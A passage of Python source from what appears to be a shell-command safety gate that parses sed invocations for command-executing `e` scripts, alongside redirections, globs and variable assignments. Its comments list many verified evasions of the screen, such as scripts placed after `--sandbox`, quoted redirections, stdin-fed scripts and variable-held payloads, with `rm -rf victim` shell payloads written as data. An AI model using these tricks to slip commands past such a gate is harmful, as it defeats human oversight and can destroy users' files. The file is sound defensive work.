"""The token indexes one shell redirection at ``index`` occupies, or ``()``.
|
|
|
|
The shell REMOVES a redirection before the command sees its arguments, so
|
|
leaving the words in place made it the command's first operand: verified that
|
|
`sed </dev/null '1e rm -f victim' input` and `> out.txt rm -rf victim` both
|
|
run for real. A detached target is claimed only when it is an ordinary word.
|
|
"""
|
|
if tokens[index] == "&" and index + 1 < len(tokens) and tokens[index + 1][:1] in "<>":
|
|
# `&>out.txt` splits in two, and reading the `&` as a background
|
|
# operator ended the command early. Only a redirection may follow, so
|
|
# `echo hi & rm -rf victim` keeps its separator.
|
|
tail = _redirection_span(tokens, index + 1, quoted, quoted_redirects)
|
|
return (index, *tail) if tail else ()
|
|
if index in quoted_redirects:
|
|
# The quoting makes it a WORD the command receives: `sed -f '>prog' -e
|
|
# '1e rm -f victim' input` takes `>prog` as the script FILE and really
|
|
# runs the payload, while removing it as a redirection left -e unread.
|
|
return ()
|
|
match = _REDIRECTION_RE.match(tokens[index])
|
|
if not match:
|
|
return ()
|
|
if tokens[index][match.end() :]:
|
|
return (index,) # target glued on: `2>/dev/null`, `>out.txt`
|
|
span = [index]
|
|
nxt = index + 1
|
|
if nxt >= len(tokens):
|
|
return tuple(span)
|
|
if tokens[nxt] in {"&", "|"}:
|
|
# `2>&1` and `>|out.txt` each arrive as three tokens, and the middle one
|
|
# was read as the end of the command (verified: both run the payload).
|
|
span.append(nxt)
|
|
nxt += 1
|
|
if nxt < len(tokens) and not (_looks_like_separator(tokens[nxt]) and nxt not in quoted):
|
|
# The shell hands the target to open(), not to sed: `sed > --sandbox
|
|
# '1e touch MARKER' input` and its `> ';'` twin both really run it. Only
|
|
# a BARE operator is refused, since that line is malformed anyway.
|
|
span.append(nxt)
|
|
return tuple(span)
|
|
|
|
|
|
# `[` and `[[` are the test builtins, not patterns.
|
|
_TEST_BUILTINS = frozenset({"[", "[[", "]", "]]"})
|
|
|
|
|
|
def _is_unresolved_command_glob(base: str) -> bool:
|
|
"""Whether a command word is a glob bash expands to some other name
|
|
(`/bin/r[m]` runs rm). A pattern with no literal character (a bare `*`) is
|
|
not one, and the test builtins are not patterns."""
|
|
if base in _TEST_BUILTINS or not any(ch in base for ch in "*?["):
|
|
return False
|
|
return any(ch.isalnum() for ch in base)
|
|
|
|
|
|
def _blocked_matching_glob(base: str) -> "set[str]":
|
|
"""Blocked command names a command-position glob can expand to."""
|
|
if not _is_unresolved_command_glob(base):
|
|
return set()
|
|
return {name for name in _BLOCKED_COMMANDS if fnmatch.fnmatchcase(name, base)}
|
|
|
|
|
|
def _is_sed_command(base: str) -> bool:
|
|
"""Whether a command word runs sed: an exact name, or a command-position GLOB
|
|
that could expand to one, since bash resolves `/usr/bin/s[e]d` to sed after
|
|
this scan. Fail closed: a non-sed program holds no `e` and yields no
|
|
payload."""
|
|
if base in _SED_COMMANDS:
|
|
return True
|
|
return _is_unresolved_command_glob(base) and any(
|
|
fnmatch.fnmatchcase(name, base) for name in _SED_COMMANDS
|
|
)
|
|
|
|
|
|
def _sed_short_flag(token: str) -> "tuple[str, str] | None":
|
|
"""The first value-taking short option in a sed flag cluster, as
|
|
``(letter, text glued after it)``, or ``None``. The scan stops there because
|
|
the rest of the token is that option's value: `-ifoo` is -i with backup
|
|
suffix "foo", not an attached -f."""
|
|
if not token.startswith("-") or token.startswith("--"):
|
|
return None
|
|
for index, ch in enumerate(token[1:]):
|
|
if ch in _SED_VALUE_FLAGS or ch in _SED_ATTACHED_VALUE_FLAGS:
|
|
return ch, token[index + 2 :]
|
|
return None
|
|
|
|
|
|
def _sed_long_flag(name: str) -> str:
|
|
"""Which value-taking sed long option ``--name`` is: "e" for --expression,
|
|
"f" for --file, "l" for --line-length, "" otherwise. getopt allows unambiguous
|
|
abbreviations, so --e/--ex are --expression and --fi upwards is --file (--f is
|
|
ambiguous with --follow-symlinks). --in-place's suffix is always attached."""
|
|
if len(name) <= 2:
|
|
return ""
|
|
if "--expression".startswith(name):
|
|
return "e"
|
|
if len(name) > 3 and "--file".startswith(name):
|
|
return "f"
|
|
if "--line-length".startswith(name):
|
|
return "l"
|
|
return ""
|
|
|
|
|
|
def _sed_disables_exec(name: str) -> bool:
|
|
"""Whether the long option ``name`` puts sed in a mode that REFUSES to shell
|
|
out. --sandbox disables e/r/w and --posix drops the GNU extensions `e` belongs
|
|
to, so a script COMPILED under either aborts the run (exit 1) and its payload
|
|
is inert. WHICH scripts that covers depends on where the flag sits: see
|
|
_sed_invocation. Only unambiguous abbreviations count (`--s` is ambiguous and
|
|
sed exits on it), and an `=` spelling is rejected by sed too.
|
|
"""
|
|
if len(name) >= 4 and "--sandbox".startswith(name):
|
|
return True
|
|
return len(name) >= 3 and "--posix".startswith(name)
|
|
|
|
|
|
def _sed_scan_limit(sed_words: int) -> int:
|
|
"""How many argument tokens ONE sed invocation may walk looking for its
|
|
script. A lone sed gets the whole budget, so padding cannot push the script
|
|
out of view; a line packed with sed words falls back to the floor, which
|
|
keeps the walk linear (`-exec sed ` repeated to 16KB: 39s against 3s)."""
|
|
if sed_words <= 1:
|
|
return _SED_SCAN_BUDGET
|
|
return max(_MAX_SED_ARG_SCAN, _SED_SCAN_BUDGET // sed_words)
|
|
|
|
|
|
# An -f operand naming a STREAM rather than a file on disk, so the script arrives
|
|
# on stdin and "no program found" is ignorance rather than safety:
|
|
# `sed -f - input <<EOF ... 1e touch MARKER ... EOF` really runs the payload.
|
|
_SED_STREAM_PROGRAM_SOURCES = frozenset({"-", "/dev/stdin", "/dev/fd/0"})
|
|
|
|
|
|
def _sed_program_source_is_stream(value: str) -> bool:
|
|
"""Whether an `-f` operand reads the script from a stream this scan cannot
|
|
follow. A named file (`sed -f prog.sed input`) stays out: it is documented
|
|
residue rather than something to fail on. A process substitution counts, since
|
|
`sed -f <(printf 'e rm -f victim') input` really runs rm; the lexer splits
|
|
that operand at the `(`, which is why the bare `<`/`>` are here too."""
|
|
if value in _SED_STREAM_PROGRAM_SOURCES or value.startswith("/dev/fd/"):
|
|
return True
|
|
return value[:1] in "<>"
|
|
|
|
|
|
def _end_program_source(programs: "list[str]", exec_disabled: bool) -> None:
|
|
"""Close the script source the pieces collected so far belong to, by appending
|
|
the blank line the join needs.
|
|
|
|
A source BOUNDARY ends any line continuation open across it, so a trailing
|
|
`a\\` appends a blank line instead of swallowing the next source's first line.
|
|
Verified on GNU sed 4.9: `sed -e '1a\\' -f /dev/null -e 'e touch MARKER' input`
|
|
creates the file while the same line without the -f does not.
|
|
"""
|
|
if programs and programs[-1] and not exec_disabled:
|
|
programs.append("")
|
|
|
|
|
|
def _sed_invocation(
|
|
tokens: "list[str]",
|
|
start: int,
|
|
limit: int = _MAX_SED_ARG_SCAN,
|
|
stops: "frozenset[int]" = frozenset(),
|
|
skips: "frozenset[int]" = frozenset(),
|
|
globs: "frozenset[int]" = frozenset(),
|
|
expandable: "frozenset[int]" = frozenset(),
|
|
) -> "tuple[list[str], bool, bool]":
|
|
"""The sed invocation whose command word sits at ``start``, as
|
|
``(program alternatives, unread, live_program)``.
|
|
|
|
sed joins its -e values with newlines, so `sed -e '1a\\' -e 'e rm -rf x'`
|
|
appends a line instead of executing it and the pieces are judged together.
|
|
With no -e or -f the first positional is the script.
|
|
|
|
--sandbox / --posix abort at COMPILE time, and sed compiles each -e as it is
|
|
parsed while the positional waits for the whole option list, so the flag
|
|
suppresses exactly the scripts written after it (verified on GNU sed 4.9:
|
|
`sed -e '1e touch MARKER' --sandbox input` still runs). One written after the
|
|
POSITIONAL suppresses only while getopt permutes, and POSIXLY_CORRECT turns
|
|
that off from outside the command text, so it is not read as suppressing.
|
|
`--` is honoured: a `--sandbox` behind it is an input FILENAME.
|
|
|
|
``unread`` says the program is at best a PREFIX of the real one, so an empty
|
|
result proves nothing and callers fail closed on it.
|
|
|
|
``stops`` and ``skips`` are token INDEXES, not text: where the invocation
|
|
ends (a separator the shell performs, or the `+` / `;` closing this sed's
|
|
find action) and which words are a redirection the shell removes before sed
|
|
runs. Both distinctions need the original quoting, which the text has lost.
|
|
A skip yields to a pending -e/-f/-l value, since that word is sed's.
|
|
"""
|
|
programs: "list[str]" = []
|
|
first_positional = ""
|
|
positional_disabled = False # a mode flag preceded the positional script
|
|
positional_globbed = False # ...and bash rewrites it before sed is started
|
|
positional_live = False # ...and it holds an expansion the shell performs
|
|
# A program flag AHEAD of the positional word makes that word an input FILE.
|
|
# One BEHIND it does so only while getopt permutes, and POSIXLY_CORRECT turns
|
|
# permutation off from outside the command text, so the positional is still
|
|
# read as a script then (verified on GNU sed 4.9 that
|
|
# `POSIXLY_CORRECT=1 sed '1e touch MARKER' input -f /dev/null` creates it).
|
|
program_flag_before_positional = False
|
|
# A mode flag has been seen, so every script COMPILED after it is inert.
|
|
# Monotone by construction, so the live pieces are always a PREFIX rather
|
|
# than a hole in the middle of one `-e '1a\' -e 'e rm -rf x'` program.
|
|
exec_disabled = False
|
|
end_of_options = False # `--` seen: no later word is an option
|
|
value_pending = "" # "e", "f" or "l": the next token is that flag's value
|
|
hit_separator = False # the invocation ended before the window ran out
|
|
stream_program = False # an -f names a stream, so the script is not in argv
|
|
glob_program = False # the script word is one bash rewrites before sed sees it
|
|
live_program = False # ...and it holds an expansion the shell really performs
|
|
window = tokens[start + 1 : start + 1 + limit]
|
|
for offset, token in enumerate(window):
|
|
if start + 1 + offset in stops:
|
|
hit_separator = True
|
|
break
|
|
if start + 1 + offset in skips:
|
|
# A redirection: the shell removed it before sed ran. Checked AHEAD
|
|
# of the pending value, because one standing where that value goes is
|
|
# removed too and the value is the word BEHIND it (`sed -n -e >out
|
|
# '1e touch MARKER' input` really runs the payload).
|
|
continue
|
|
if value_pending:
|
|
# The value is consumed either way; only a script sed still compiles
|
|
# goes into the program.
|
|
if value_pending == "e" and not exec_disabled:
|
|
programs.append(token)
|
|
glob_program = glob_program or start + 1 + offset in globs
|
|
live_program = live_program or start + 1 + offset in expandable
|
|
elif value_pending == "f" and _sed_program_source_is_stream(token):
|
|
stream_program = True
|
|
value_pending = ""
|
|
continue
|
|
if not end_of_options and token == "--":
|
|
end_of_options = True
|
|
continue
|
|
if not end_of_options and token.startswith("--"):
|
|
name, sep, value = token.partition("=")
|
|
if not sep and _sed_disables_exec(name):
|
|
exec_disabled = True
|
|
continue
|
|
letter = _sed_long_flag(name)
|
|
if not letter:
|
|
continue
|
|
# -l only matters so its operand is not mistaken for the script.
|
|
if letter in "ef" and not first_positional:
|
|
program_flag_before_positional = True
|
|
if letter == "f":
|
|
_end_program_source(programs, exec_disabled)
|
|
stream_program = stream_program or (
|
|
bool(sep) and _sed_program_source_is_stream(value)
|
|
)
|
|
if not sep:
|
|
value_pending = letter
|
|
elif letter == "e" and not exec_disabled:
|
|
programs.append(value)
|
|
glob_program = glob_program or start + 1 + offset in globs
|
|
live_program = live_program or start + 1 + offset in expandable
|
|
continue
|
|
if not end_of_options and token.startswith("-"):
|
|
# A cluster glues the value on (-ne'1p') or takes the next (-ne '1p').
|
|
found = _sed_short_flag(token)
|
|
if found is None:
|
|
continue
|
|
letter, attached = found
|
|
if letter in _SED_ATTACHED_VALUE_FLAGS:
|
|
# -i's suffix is the rest of the token; it never takes the next
|
|
# one, so the script is still the positional ahead.
|
|
continue
|
|
if letter in "ef" and not first_positional:
|
|
program_flag_before_positional = True
|
|
if letter == "f":
|
|
_end_program_source(programs, exec_disabled)
|
|
stream_program = stream_program or (
|
|
bool(attached) and _sed_program_source_is_stream(attached)
|
|
)
|
|
if not attached:
|
|
value_pending = letter
|
|
elif letter == "e" and not exec_disabled:
|
|
programs.append(attached)
|
|
glob_program = glob_program or start + 1 + offset in globs
|
|
live_program = live_program or start + 1 + offset in expandable
|
|
continue
|
|
if not first_positional:
|
|
first_positional = token
|
|
positional_disabled = exec_disabled
|
|
positional_globbed = start + 1 + offset in globs
|
|
positional_live = start + 1 + offset in expandable
|
|
joined = ["\n".join(programs)] if programs else []
|
|
if first_positional and not positional_disabled and not program_flag_before_positional:
|
|
glob_program = glob_program or positional_globbed
|
|
live_program = live_program or positional_live
|
|
if not programs:
|
|
joined = [first_positional]
|
|
else:
|
|
# A program option stands BEHIND the positional, so which of the two
|
|
# sed compiles depends on permutation. They are ALTERNATIVES, not one
|
|
# program: joining them let an unterminated command in one swallow
|
|
# the other, and `POSIXLY_CORRECT=1 sed '1e touch MARKER' input -e
|
|
# safe` read as safe although it really runs the payload.
|
|
joined.append(first_positional)
|
|
# Complete when a separator closed the invocation, or when the window
|
|
# already covered every remaining argument.
|
|
scan_overflowed = not hit_separator and len(tokens) > start + 1 + limit
|
|
# A still-pending -f value means the invocation ended before its operand was
|
|
# read at all -- a process substitution ends it at the `(` -- so the program
|
|
# is unknown rather than absent.
|
|
joined = [piece.replace(_ANSI_C_NEWLINE_MARK, "\n") for piece in joined]
|
|
unread = scan_overflowed or stream_program or glob_program or value_pending == "f"
|
|
return joined, unread, live_program
|
|
|
|
|
|
def _sed_text(text: str) -> str:
|
|
"""Unescape one sed text argument the way read_text does: every backslash
|
|
drops away and the character behind it stays, so `e touch MARK\\ER` runs
|
|
MARKER."""
|
|
return _SED_TEXT_ESCAPE_RE.sub(r"\1", text).strip()
|
|
|
|
|
|
def _sed_exec_payloads(program: str) -> "list[str]":
|
|
"""Shell payloads a sed program executes, in order.
|
|
|
|
`e COMMAND` runs COMMAND. A bare `e` and the `s///e` flag run the pattern
|
|
space, which only exists at run time, so they yield an EMPTY payload:
|
|
executes, but nothing to screen. An empty list means it only edits text.
|
|
|
|
The walk skips every region where an `e` is data (regexes, replacements,
|
|
a/i/c text, r/w filenames, b/t labels, comments), keeping `:e;N;$!be;...`,
|
|
`sed 's/e/E/g'` and `sed 's/a/b/w report.txt'` out of the results.
|
|
"""
|
|
payloads: "list[str]" = []
|
|
n = len(program)
|
|
|
|
def _end_of_line(pos: int) -> int:
|
|
end = program.find("\n", pos)
|
|
return n if end < 0 else end
|
|
|
|
def _end_of_text(pos: int) -> int:
|
|
# read_text, which collects `e`/`a`/`i`/`c` text: a backslash escapes
|
|
# the next character, so a line ending in one carries the text onto the
|
|
# NEXT line instead of stopping there.
|
|
while pos < n and program[pos] != "\n":
|
|
pos += 2 if program[pos] == "\\" else 1
|
|
return min(pos, n)
|
|
|
|
def _skip_bracket(pos: int) -> int:
|
|
# A bracket expression, where the delimiter is data (`s/[/]/x/` really
|
|
# substitutes a slash). A leading `]` is literal; [:class:] nests.
|
|
pos += 1
|
|
if pos < n and program[pos] == "^":
|
|
pos += 1
|
|
if pos < n and program[pos] == "]":
|
|
pos += 1
|
|
while pos < n and program[pos] != "]":
|
|
if program[pos] == "[" and pos + 1 < n and program[pos + 1] in ":.=":
|
|
end = program.find(program[pos + 1] + "]", pos + 2)
|
|
pos = n if end < 0 else end + 2
|
|
continue
|
|
pos += 1
|
|
return pos + 1
|
|
|
|
def _skip_section(pos: int, delim: str, brackets: bool) -> int:
|
|
# One delimited section of a regex / s/// / y///, through its closing
|
|
# delimiter. Brackets apply to regex halves only; elsewhere `[` is data.
|
|
while pos < n and program[pos] != delim:
|
|
if program[pos] == "\\":
|
|
pos += 2
|
|
elif brackets and program[pos] == "[":
|
|
pos = _skip_bracket(pos)
|
|
else:
|
|
pos += 1
|
|
return pos + 1
|
|
|
|
def _skip_address(pos: int) -> int:
|
|
# A line number (GNU's first~step included), `$`, /regex/ or \%regex%,
|
|
# each allowing I/M modifiers.
|
|
if pos < n and program[pos] == "$":
|
|
return pos + 1
|
|
if pos < n and program[pos].isdigit():
|
|
while pos < n and (program[pos].isdigit() or program[pos] == "~"):
|
|
pos += 1
|
|
return pos
|
|
if pos < n and program[pos] == "/":
|
|
pos = _skip_section(pos + 1, "/", brackets = True)
|
|
elif pos < n and program[pos] == "\\" and pos + 1 < n:
|
|
pos = _skip_section(pos + 2, program[pos + 1], brackets = True)
|
|
else:
|
|
return pos
|
|
while pos < n and program[pos] in "IM":
|
|
pos += 1
|
|
return pos
|
|
|
|
i = 0
|
|
while i < n:
|
|
if program[i] in " \t\n;{}":
|
|
# Separators and block braces carry no command.
|
|
i += 1
|
|
continue
|
|
if program[i] == "#":
|
|
i = _end_of_line(i)
|
|
continue
|
|
i = _skip_address(i)
|
|
if i < n and program[i] == ",":
|
|
i += 1
|
|
while i < n and program[i] in " \t":
|
|
i += 1
|
|
if i < n and program[i] in "+~":
|
|
# `addr,+N` / `addr,~N` end the range relative to the first match.
|
|
i += 1
|
|
while i < n and program[i].isdigit():
|
|
i += 1
|
|
else:
|
|
i = _skip_address(i)
|
|
while i < n and program[i] in " \t!":
|
|
# `1!e cmd`: negation, the command word is still ahead.
|
|
i += 1
|
|
if i >= n:
|
|
break
|
|
cmd, i = program[i], i + 1
|
|
if cmd == "e":
|
|
# The payload ends at an UNESCAPED newline, so a `;` inside it is
|
|
# shell text and `e\` + newline hands the next line to the same
|
|
# shell (`1e\` / `rm -f victim` really runs rm).
|
|
end = _end_of_text(i)
|
|
payloads.append(_sed_text(program[i:end]))
|
|
i = end
|
|
elif cmd in "sy" and i < n:
|
|
delim, i = program[i], i + 1
|
|
i = _skip_section(i, delim, brackets = cmd == "s")
|
|
i = _skip_section(i, delim, brackets = False)
|
|
if cmd == "s":
|
|
executes = False
|
|
while i < n and program[i] in _SED_SUBST_FLAGS:
|
|
executes = executes or program[i] == "e"
|
|
i += 1
|
|
if executes:
|
|
payloads.append("")
|
|
if i < n and program[i] == "w":
|
|
i = _end_of_line(i)
|
|
elif cmd in "aic":
|
|
# Literal text; the `a\` + newline form continues on a trailing "\".
|
|
i = _end_of_text(i)
|
|
elif cmd in "rRwW":
|
|
i = _end_of_line(i) # the filename runs to the end of the line
|
|
elif cmd in "btT:v":
|
|
# A label (or `v` version) ends at the next separator.
|
|
while i < n and program[i] not in ";\n}":
|
|
i += 1
|
|
return payloads
|
|
|
|
|
|
def _assignment_bindings(
|
|
tokens: "list[str]", quoted: "frozenset[int]" = frozenset()
|
|
) -> "list[tuple[int, str, str | None]]":
|
|
"""Every `NAME=value` word as ``(token index, name, value)``, in the order
|
|
the shell performs the assignments.
|
|
|
|
An ordered LIST, not a map, because bash uses the binding performed most
|
|
recently BEFORE the reference: first-wins let
|
|
`p='1,3p'; p='1e rm -f victim'; sed "$p" input` read as `1,3p` while rm
|
|
really runs. The index rides along so _bindings_before can drop the
|
|
assignments that only happen after the sed.
|
|
|
|
A non-literal value is recorded as ``None``, which CLEARS the name rather
|
|
than leaving a stale earlier one standing, since resolving to that would
|
|
invent a program rather than read one.
|
|
|
|
Only a word that really changes SHELL state counts. An assignment-shaped
|
|
ARGUMENT (`echo p='1,3p'`), one in a subshell and one used as a command's
|
|
environment prefix all leave `$p` alone, and recording them overwrote a
|
|
payload with a value bash never assigned; all three run rm for real. A
|
|
conditional one after `&&` may or may not run, so it is UNRESOLVED instead.
|
|
"""
|
|
bindings: "list[tuple[int, str, str | None]]" = []
|
|
pending: "list[tuple[int, str, str | None]]" = [] # the run at this position
|
|
at_command = True # an assignment here is a prefix, not an argument
|
|
depth = 0 # inside ( ... ), where an assignment does not escape
|
|
conditional = False # after && / || : the assignment may never run
|
|
function_body = 0 # inside f() { ... }, which bash has not run yet
|
|
saw_parens = False # the `()` of a function definition just went past
|
|
for index, token in enumerate(tokens):
|
|
if token == "{" and saw_parens:
|
|
function_body += 1
|
|
saw_parens = False
|
|
continue
|
|
if token == "}" and function_body:
|
|
function_body -= 1
|
|
at_command = True
|
|
continue
|
|
if _looks_like_separator(token) and index not in quoted:
|
|
# Nothing followed the run, so it changed the shell's own state.
|
|
bindings.extend(pending)
|
|
pending = []
|
|
saw_parens = set(token) <= {"(", ")"} and ")" in token
|
|
depth = max(0, depth + token.count("(") - token.count(")"))
|
|
conditional = "&&" in token or "||" in token
|
|
at_command = True
|
|
continue
|
|
if function_body and _ASSIGNMENT_RE.match(token):
|
|
# A body bash has not run yet, and may never run: `p='1e rm -f
|
|
# victim'; f() { p='1,3p'; }; sed "$p" input` really runs rm.
|
|
# Clearing the name is right whether or not f is ever called.
|
|
name = token.partition("=")[0]
|
|
pending.append((index, name, None))
|
|
continue
|
|
if at_command and _ASSIGNMENT_RE.match(token):
|
|
if depth == 0:
|
|
name, _, value = token.partition("=")
|
|
literal = None if "$" in value or "`" in value else value
|
|
pending.append((index, name, None if conditional else literal))
|
|
continue
|
|
if at_command:
|
|
# A command word: the run in front of it is that command's
|
|
# ENVIRONMENT, which bash hands the CHILD and not itself.
|
|
pending = []
|
|
at_command = False
|
|
bindings.extend(pending)
|
|
return bindings
|
|
|
|
|
|
def _bindings_before(
|
|
bindings: "list[tuple[int, str, str | None]]", cursor: int, limit: int, env: "dict[str, str]"
|
|
) -> int:
|
|
"""Fold into ``env`` every binding at a token index below ``limit``, starting
|
|
at ``cursor``, and return the cursor to pass in next time. Later bindings
|
|
overwrite earlier ones, so ``env`` holds what the shell would have in scope
|
|
at token ``limit``. Seds are visited left to right, so the cursor only moves
|
|
forward and the whole line costs ONE walk of the binding list."""
|
|
while cursor < len(bindings) and bindings[cursor][0] < limit:
|
|
_index, name, value = bindings[cursor]
|
|
if value is None:
|
|
env.pop(name, None)
|
|
else:
|
|
env[name] = value
|
|
cursor += 1
|
|
return cursor
|
|
|
|
|
|
def _resolve_program_vars(program: str, env: "dict[str, str]") -> str:
|
|
"""``program`` with each `$NAME` / `${NAME}` replaced by its assigned value.
|
|
|
|
A sed script held in a variable (`p='# note<newline>e CMD'; sed "$p" f`) is
|
|
only a program once the reference is resolved, and only in a pass that KEEPS
|
|
the quoted newline: the blanket newline pass turns the value into one long
|
|
sed comment. An unassigned name is left as written, so nothing is invented.
|
|
"""
|
|
return _PROGRAM_VAR_RE.sub(lambda m: env.get(m.group(1) or m.group(2), m.group(0)), program)
|
|
|
|
|
|
def _sed_program_variants(program: str, env: "dict[str, str]") -> "list[str]":
|
|
"""The sed program as written, plus the variable-resolved and
|
|
arithmetic-collapsed forms. All are screened, because any spelling can be the
|
|
one holding the `e`: the raw text in `sed "e $file"`, the resolved one in
|
|
`sed "$p"`, the collapsed one in `sed "$((c+1))e rm -f victim"`."""
|
|
if "$" not in program:
|
|
return [program]
|
|
variants = [program]
|
|
resolved = _resolve_program_vars(program, env)
|
|
if resolved != program:
|
|
variants.append(resolved)
|
|
for form in list(variants):
|
|
collapsed = _collapse_shell_arithmetic(form)
|
|
if collapsed not in variants:
|
|
variants.append(collapsed)
|
|
return variants
|
|
|
|
|
|
def _expansion_key(text: str) -> str:
|
|
"""One expansion, keyed so the raw-command spelling and the post-lex one
|
|
compare equal. Only the escaping differs between them, so it is dropped."""
|
|
return text.replace("\\", "")
|
|
|
|
|
|
def _sed_program_unresolved(variants: "list[str]", live: "set[str]") -> bool:
|
|
"""Whether NO spelling of the sed program is one this scan actually READ,
|
|
because every one still holds an expansion bash would rewrite.
|
|
|
|
The program is knowable only when each expansion reduces to text:
|
|
`p='1,3p'; sed "$p" f` does, `sed "${p#x }" f` does not. The parameter
|
|
transformations (`${p%y}`, `${p/a/b}`, `${p:-z}`, `${p^^}`, `${!p}`, ...) are
|
|
not modelled one at a time; an unread program is UNKNOWN and the auto gate
|
|
asks, which makes every unmodelled form safe by default rather than a way
|
|
past (`p='x e rm -f victim'; sed "${p#x }" input` really runs rm).
|
|
|
|
Only expansions the shell RUNS count, and only where they land in the
|
|
PROGRAM, so one the program merely quotes (`sed 's/$(x)/y/' f`), an escaped
|
|
one (`sed "s/\\$(CC)/gcc/" Makefile`) and one in a FILE operand
|
|
(`sed -n '1,3p' $(ls)`) are all left running.
|
|
"""
|
|
if not live:
|
|
return False
|
|
# shlex removes the escaping as it splits, so the SAME expansion is spelled
|
|
# one way in the raw command and another in the token, and an exact
|
|
# comparison read a generated program as one already read. Keying both sides
|
|
# without backslashes can only make a spelling MATCH, so it fails closed.
|
|
keys = {_expansion_key(found) for found in live}
|
|
return not any(
|
|
all(_expansion_key(found) not in keys for found in _shell_expansions(variant, quoted = False))
|
|
for variant in variants
|
|
)
|
|
|
|
|
|
def _quoted_separator_indexes(text: str, tokens: "list[str]", punctuation: str) -> "frozenset[int]":
|
|
"""Indexes of ``tokens`` that only LOOK like a shell separator because the
|
|
quoting has been stripped off them.
|
|
|
|
shlex hands back the identical token `;` for a real separator and for a
|
|
quoted `';'` a command receives as data, so `sed -n ';' -e '1e rm -f victim'
|
|
input` looked like a sed that had already ended and the `-e` script behind
|
|
the `;` was never read (verified on GNU sed 4.9: it runs rm).
|
|
|
|
Told apart by masking every separator character the shell QUOTES and lexing
|
|
a second time. Only those characters change, and each inside the word it
|
|
already belonged to, so the two token lists line up; the alignment is
|
|
asserted by the length check, and anything unexpected reports nothing.
|
|
"""
|
|
if not any(_looks_like_separator(token) for token in tokens):
|
|
# Nothing to tell apart: skip the quote walk and the second lex.
|
|
return frozenset()
|
|
if _QUOTED_SEPARATOR_MARK in text:
|
|
return frozenset() # the mark is not ours to read back
|
|
states = _shell_quote_states(text)
|
|
masked = "".join(
|
|
_QUOTED_SEPARATOR_MARK if char in _SEPARATOR_CHARS and states[index] else char
|
|
for index, char in enumerate(text)
|
|
)
|
|
if _QUOTED_SEPARATOR_MARK not in masked:
|
|
return frozenset() # every separator character was bare
|
|
try:
|
|
lexer = shlex.shlex(masked, posix = True, punctuation_chars = punctuation)
|
|
lexer.whitespace_split = True
|
|
marked = list(lexer)
|
|
except ValueError:
|
|
return frozenset()
|
|
if len(marked) != len(tokens):
|
|
return frozenset()
|
|
return frozenset(
|
|
index
|
|
for index, token in enumerate(marked)
|
|
if _QUOTED_SEPARATOR_MARK in token and _looks_like_separator(tokens[index])
|
|
)
|
|
|
|
|
|
def _masked_tokens(
|
|
text: str, tokens: "list[str]", punctuation: str, chars: "frozenset[str]", mark: str
|
|
) -> "list[str] | None":
|
|
"""``tokens`` re-lexed with every one of ``chars`` the QUOTING made literal
|
|
replaced by ``mark``, or ``None`` when the two lexes do not line up and
|
|
nothing can be said. Each replacement stays inside the word it already
|
|
belonged to, so the second lex yields the same words; the alignment is
|
|
asserted by the length check rather than assumed."""
|
|
if not any(char in chars for char in text) or mark in text:
|
|
return None
|
|
states = _shell_quote_states(text)
|
|
masked = "".join(
|
|
mark if char in chars and states[index] else char for index, char in enumerate(text)
|
|
)
|
|
try:
|
|
lexer = shlex.shlex(masked, posix = True, punctuation_chars = punctuation)
|
|
lexer.whitespace_split = True
|
|
marked = list(lexer)
|
|
except ValueError:
|
|
return None
|
|
return marked if len(marked) == len(tokens) else None
|
|
|
|
|
|
def _quoted_redirection_indexes(
|
|
text: str, tokens: "list[str]", punctuation: str
|
|
) -> "frozenset[int]":
|
|
"""Indexes of ``tokens`` that only LOOK like a redirection because the
|
|
quoting has been stripped off them.
|
|
|
|
A QUOTED redirection is a word the shell hands the command: `sed -f '>prog'
|
|
-e '1e rm -f victim' input` takes `>prog` as the script FILE and really runs
|
|
the payload. Decided on the operator the token OPENS with, so `2>'/dev/null'`
|
|
keeps its bare `2>` and stays a redirection while `'>prog'` does not.
|
|
"""
|
|
marked = _masked_tokens(text, tokens, punctuation, _REDIRECT_CHARS, _QUOTED_REDIRECT_MARK)
|
|
if marked is None:
|
|
return frozenset()
|
|
return frozenset(
|
|
index
|
|
for index, token in enumerate(tokens)
|
|
if _REDIRECTION_RE.match(token) and not _REDIRECTION_RE.match(marked[index])
|
|
)
|
|
|
|
|
|
def _unquoted_expansion_indexes(
|
|
text: str, tokens: "list[str]", punctuation: str
|
|
) -> "frozenset[int]":
|
|
"""Indexes of ``tokens`` holding an expansion the shell really PERFORMS.
|
|
|
|
Live expansions are collected over the whole command, so matching a sed
|
|
program against them by text alone attributed another command's expansion to
|
|
a program that merely spells the same thing, and the read-only
|
|
`echo "$p"; sed 's/$p/x/' f` asked. This supplies the missing occurrence.
|
|
|
|
Double quoting is deliberately not literal: `sed "$p" f` expands and must
|
|
stay in. Only single, ANSI-C and backslash quoting make these characters
|
|
data.
|
|
"""
|
|
if not any(char in _EXPANSION_CHARS for char in text) or _QUOTED_EXPANSION_MARK in text:
|
|
return frozenset()
|
|
states = _shell_quote_states(text)
|
|
masked = "".join(
|
|
_QUOTED_EXPANSION_MARK
|
|
if char in _EXPANSION_CHARS and states[index] and states[index] != '"'
|
|
else char
|
|
for index, char in enumerate(text)
|
|
)
|
|
try:
|
|
lexer = shlex.shlex(masked, posix = True, punctuation_chars = punctuation)
|
|
lexer.whitespace_split = True
|
|
marked = list(lexer)
|
|
except ValueError:
|
|
return frozenset()
|
|
if len(marked) != len(tokens):
|
|
return frozenset()
|
|
return frozenset(
|
|
index
|
|
for index, token in enumerate(marked)
|
|
if any(char in _EXPANSION_CHARS for char in token)
|
|
)
|
|
|
|
|
|
def _unquoted_glob_indexes(text: str, tokens: "list[str]", punctuation: str) -> "frozenset[int]":
|
|
"""Indexes of ``tokens`` holding a pathname-expansion metacharacter the shell
|
|
will EXPAND, rather than one the quoting made literal.
|
|
|
|
bash expands after this scan, so a word it rewrites is not the word the
|
|
command receives: in a directory holding a file named `1e rm -f victim`,
|
|
`sed *` hands sed that filename as its script and really runs rm. The quoted
|
|
spellings a sed program uses must stay readable (`sed 's/a*/b/' f` expands
|
|
nothing). Told apart by masking and re-lexing, as in
|
|
_quoted_separator_indexes.
|
|
"""
|
|
if not any(char in _GLOB_CHARS for char in text) or _QUOTED_GLOB_MARK in text:
|
|
return frozenset()
|
|
states = _shell_quote_states(text)
|
|
masked = "".join(
|
|
_QUOTED_GLOB_MARK if char in _GLOB_CHARS and states[index] else char
|
|
for index, char in enumerate(text)
|
|
)
|
|
try:
|
|
lexer = shlex.shlex(masked, posix = True, punctuation_chars = punctuation)
|
|
lexer.whitespace_split = True
|
|
marked = list(lexer)
|
|
except ValueError:
|
|
